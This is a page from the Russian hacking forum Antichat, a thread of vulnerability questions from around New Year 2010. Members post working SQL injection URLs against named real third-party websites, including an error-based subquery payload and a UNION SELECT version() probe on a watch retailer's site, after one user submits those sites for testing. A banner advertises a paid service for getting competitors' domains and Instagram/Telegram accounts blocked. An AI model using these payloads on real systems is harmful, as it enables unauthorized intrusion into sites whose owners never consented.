Ваши вопросы по уязвимостям.

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1086 из 2422

1086

Опции темы

Поиск в этой теме

Опции просмотра

31.12.2009, 22:24

~~.Life~~

Banned

Регистрация: 26.12.2009

Сообщений: 152

С нами: 8618486

Репутация: 0

Воппрос по поводу джумлы - это не бреш случайно. Я забыл пасс в джумле : там была соль какая то 7c17fc4ad64ac1761a316464ccb106d7:ZZRM2g8cW3w0b0o2w rtqkn4H97CPOqYn если заменить на суму от md5 например, я заменил на 111 это 698d51a19d8a121ce581499d7b701668, то работает. Заходит в админку при вводе 111. Код не смотрел, а то хз как то все заумно написано не знаеш что к чему относиться)

𝕏 Twitter Reddit Telegram Копировать ссылку

01.01.2010, 08:09

~~Серёжа393~~

Banned

Регистрация: 28.12.2009

Сообщений: 30

С нами: 8615506

Репутация: 0

Шас написал тестовый скрипт, чтобы потренероваться со скулями на локалхосте, так вот почему чтобы вывести поле из таблицы надо чтобы было минимум три выводимых поля? или я ошибаюсь? подскажите плиз.

01.01.2010, 08:13

Ctacok

Moderator - Level 7

Регистрация: 19.12.2008

Сообщений: 1,203

С нами: 9154406

Репутация: 2221

Цитата:

Сообщение от Серёжа393

Ты ошибаешься.
Может быть и одно...

01.01.2010, 08:24

~~Серёжа393~~

Banned

Регистрация: 28.12.2009

Сообщений: 30

С нами: 8615506

Репутация: 0

Блин, простите, работает. просто не павраильно имя таблицы написал...

01.01.2010, 14:29

v1d0qz

Познающий

Регистрация: 21.07.2007

Сообщений: 68

С нами: 9898501

Репутация: 257

Нужно вначале назначить 2 значения.
Ну или так.
http://zero10.us/m.php?id=2435+and+1=(select+*+fro m(select+*+from+information_schema.tables+a+JOIN+i nf ormation_schema.tables+b)c)--

Последний раз редактировалось v1d0qz; 01.01.2010 в 17:16..

01.01.2010, 23:03

DeluxeS

Участник форума

Регистрация: 01.08.2009

Сообщений: 183

С нами: 8829763

Репутация: 131

Цитата:

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /.1/www/www.site.ru/top.phtml on line 24

SQL запрос сделать при такой ошибке можно сделать? В запрос подставлил одинарную кавычку

01.01.2010, 23:48

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

С нами: 9410786

Репутация: 2731

Цитата:

Сообщение от v1d0qz

Больше шанса что это некорректная обработка, чем инжа. Чтобы сказат точно, нужно смотреть связку кода.

С чего ты взял, что это некорректная обработка? Вариантов много, и шансов нет никаких, пока нет самого сайта.

01.01.2010, 23:51

DeluxeS

Участник форума

Регистрация: 01.08.2009

Сообщений: 183

С нами: 8829763

Репутация: 131

ok
http://www.bestwatch.ru/watches.phtml?idb=168&idl=2618
http://www.luxwatch.ru/watches.phtml?idb=168

01.01.2010, 23:57

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

скуля есть что в 1 что во 2 варианте и логические операции об этом хорошо говорят

Код:

http://www.luxwatch.ru/watches.phtml?idb=-168+union+select+version()

#10

01.01.2010, 23:59

DeluxeS

Участник форума

Регистрация: 01.08.2009

Сообщений: 183

С нами: 8829763

Репутация: 131

Спасибо, оперативно вы..

Страница 1086 из 2422

1086

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57